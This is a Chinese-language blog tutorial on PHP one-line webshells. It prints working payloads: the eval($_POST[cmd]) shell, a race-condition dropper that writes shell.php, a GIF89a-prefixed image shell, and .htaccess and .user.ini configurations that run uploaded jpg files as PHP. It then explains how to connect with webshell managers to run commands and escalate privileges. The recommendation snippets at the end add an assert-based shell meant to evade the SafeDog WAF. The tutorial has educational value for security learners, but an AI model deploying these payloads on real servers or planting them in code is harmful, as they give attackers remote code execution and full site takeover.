你真的了解一句话木马吗?
目录
一、前言:
二、什么是一句话木马:
三、常见的一句话木马:
木马讲解:
1、$_POST[cmd]
2、eval()
3、"@"
4、脉络梳理
四、可用于条件竞争的一句话木马:
木马讲解:
1、fopen()
2、fputs()
3、脉络梳理
五、图片马
1、什么是图片马:
2、.htaccess
3、木马图片
4. .user.ini扩展
六、一句话木马进一步利用
1、连接
2、利用
一、前言:
一句话木马是大多网安人在初步学习中,就遇到的一种简单的木马文件,相信很多人都像博主一样在接触到这一段代码时,都会感到非常的神奇,通过这样一段代码就能控制服务器,但却不知道其中的原理,在学习PHP之后才明白其构成,今天博主就带大家浅析一下一句话木马,也算是朝花夕拾吧,感兴趣的可以访问下我的博客http://blog.byzhb.top/
二、什么是一句话木马:
一句话木马是一种短小精悍的恶意代码,通常只有一行之长。这种木马可以利用一些漏洞,以上传文件、修改配置等方式将恶意代码植入到受害者服务器上,然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。攻击者可以使用一句话木马来窃取网站的敏感信息、篡改网站内容、攻击其他网站、制造破坏等。由于一句话木马具有体积小、隐蔽性强等特点,在黑客攻击中非常常见。
三、常见的一句话木马:
我们接触的一句话木马大多为这种,该木马使用了PHP语言,需要在有PHP环境的站点中才可使用
<?php @eval($_POST[cmd]); ?>
木马讲解:
1、$_POST[cmd]
$_POST
是 PHP 中的一个超全局变量,我们在浏览器中POST方式提交的所有变量,都会保存在此数组中,变量名即为键名
2、eval()
eval()
函数在 PHP 中用于执行字符串中的代码并返回执行结果。该函数接受一个字符串作为参数,该字符串包含要执行的 PHP 代码(在此代码中为$_POST[cmd]),然后执行该代码,并且可以返回结果
该函数对php语法要求严格,所传入语句必须以" ; "号结尾
3、"@"
符号"@"的作用是 屏蔽该语句的报错信息,也就是所即使该语句执行错误也不会显示报错信息,如果站点PHP版本>=8.0的话,访问不带"@"的一句话木马会显示如下:
原因是:php自8.0版本之后会对使用未定义的变量进行报错
我们初步访问此木马时并没有对其变量传值,固然会报错
4、脉络梳理
该木马的大体意思为,用eval函数,将我们post方式提交的名为cmd的变量,当做PHP代码执行,cmd变量可为任何攻击代码
四、可用于条件竞争的一句话木马:
关于什么是条件竞争请看博主的这篇文章http://t.csdn.cn/RFAgE
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>' ); ?>
木马讲解:
1、fopen()
该函数的格式为 fopen(filename,mode,include_path,context)
fopen('shell.php','w')
该语句的意思为,以写入方式打开一个叫做“ shell.php ”,的文件,该文件不存在,故创建了一个shell.php文件
2、fputs()
该函数格式为 fputs(file,string,length)
fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>' )
file参数对应 fopen('shell.php','w') 语句生成的shell.php文件
string参数对应 '<?php @eval($_POST[cmd]); ?>' 这条字符串
也就是说把木马语句写入到了shell.php中
3、脉络梳理
该函数首先借用fopen函数的w方式,创建了shell.php文件,然后用fputs函数将'<?php @eval($_POST[cmd]); ?>' 写入了该文件
换而言之,一旦访问该文件,就会生成一个名为shell.php的一句话木马,木马的内容在上文已讲过
五、图片马
1、什么是图片马:
在站点禁止上传php文件时,我们可以将含有一句话木马的jpg(也可以是其他img格式)图片,配合.htaccess文件,将其解析成php文件
2、.htaccess
该配置文件仅Apache服务器可用
文件内容为
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//大体意思是设置当前目录所有带jpg的文件名都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则,则报错
然后命名为 .htaccess 并上传
3、木马图片
文件内容为
GIF89a
<?php @eval($_POST[cmd]); ?>//GIF89a 为了绕过可能存在的MIME头检测
然后命名为 shell.jpg 并上传,上传后访问其路径便可以传参
4. .user.ini扩展
文件内容为
auto_prepend_file=shell.jpg//意思就是当前目录中的php文件的页头会自动去包含shell.jpg中的文件内容
auto_append_file 是页尾包含
文件名为 .user.ini
操作步骤和 .htaccess相似
六、一句话木马进一步利用
我们可以通过蚁剑、菜刀、冰蝎等webshell工具,来更加彻底的利用一句话木马,这里以蚁剑为例
1、连接
url地址为 站点url+木马上传路径
连接密码为 shell.php中POST的变量名
2、利用
在连接成功后,便可以遍历网站服务器目录,执行命令操作,或进行进行一步提权操作
你真的了解一句话木马吗?相关推荐
- 利用动态二进制加密实现新型一句话木马之Java篇(转) 冰蝎
概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...
- php 过狗一句话木马的编写
我们都知道 这个是php一句话 <?php assert($_POST['mima']); ?> 可是服务器的安全狗会识别到,我们要经过一些处理, 让安全狗不能认出我们的代码是一句话木马 ...
- PHP一句话木马使用技巧
近来发现好多网站有安全狗,会拦截菜刀和蚁剑,因此总结下通过浏览器直接调用一句话木马的姿势. PHP一句话:<?php @eval($_POST['shy']);?> firefox浏览器: ...
- 2018-03-24-利用动态二进制加密实现新型一句话木马之Java篇
layout: post title: "利用动态二进制加密实现新型一句话木马-java篇" categories: [网络安全CyberSecurity] tags: [一句话木 ...
- 【原创】利用动态二进制加密实现新型一句话木马之Java篇
概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测. 本来是想 ...
- DVWA-文件上传全等级绕过(一句话木马+中国菜刀+蚁剑)
DVWA文件上传 前言 一.low级别 1.1 一句话木马 1.2 中国菜刀使用 1.3 蚁剑 二.Medium级别 三.High级别 四.Impossible级别 前言 文件上传漏洞是对于上传文件的 ...
- 除了文件上传还有哪些方式可以写一句话木马?
除了文件上传还有哪些方式可以写一句话木马? 一句话木马如果上传到服务器的话,有啥危害学过网络安全的人都知道.但是通常网上流传的方式都是通过文件上传来实现木马上传,实在太过老套,这里就教大家几个新的方式 ...
- 一句话木马使用方法总结
2019独角兽企业重金招聘Python工程师标准>>> "EASYNEWS新闻管理系统 v1.01 正式版"是在企业网站中非常常见的一套整站模版,在该网站系统的留 ...
- php 一句话木马简介
一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能.一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用. 一句话木马工作原理 <?php @ev ...
最新文章
- oracle修改数据高性能,oracle数据库的性能调整
- iphone圆点怎么弄出来_新款iPhone放出终极大招,果粉:就没高级点的嘛
- 【FRDM-K64F学习笔记】使用ARM mbed和Keil MDK下载你的第一个程序
- 随想录(工作后的一点思考)
- c语言srand函数怎么用_Excel统计指定内容出现次数,用函数怎么写?人人都能看懂的公式...
- 初中计算机知识ppt,初中信息技术操作考试系统题库PowerPoint部分
- Oracle SQL脚本批量导入导出
- 怎么样简单的进行dwg转pdf格式
- 拉钩网前端项目实战02
- 基于SMTP协议的E-MAIL电子邮件发送客户端软件C#实现
- 32位linux装64位rpm包,360浏览器提供rpm包(支持MIPS64)及32位deb包(兆芯)
- 应广单片机例程EERPOM页写中一个BUG
- 在使用谷歌时发现一个诡异问题cookie传不过去
- 项目学习--谷粒商城
- html5的download
- 关于酷柚易汛进销存开源版订货通操作说明
- c轴 t轴 l轴_凹版印刷机的驱动——电子轴驱动和机械轴驱动
- 重场景轻应用,联想企业网盘驱动信托业办公模式变革
- 喜欢一个人,是一种感觉。
- mysql-pymysql.err.IntegrityError:(1062, “Duplicate entry ‘2147483647‘ for key ‘PRIMARY‘)
热门文章
- 仿人机器人的跑步研究学习笔记1之机器人的基础知识
- MATLAB矩阵的关系运算和逻辑运算
- 【概率论与数理统计(研究生课程)】知识点总结8(假设检验)
- SpringBoot点餐送餐系统
- SystemVerilog HVL:子程序
- 微软DNS服务器默认,微软改进Windows 10加密DNS服务器配置(DoH) 现在设置起来更方便...
- HDR详解 - 什么是HDR?
- 基于SpringBoot的教务系统【附源码】
- 记一次腾讯实习招聘(笔试)
- 电子科技大学计算机与科学学院,钟秀琴 - 电子科技大学 - 计算机科学与工程学院...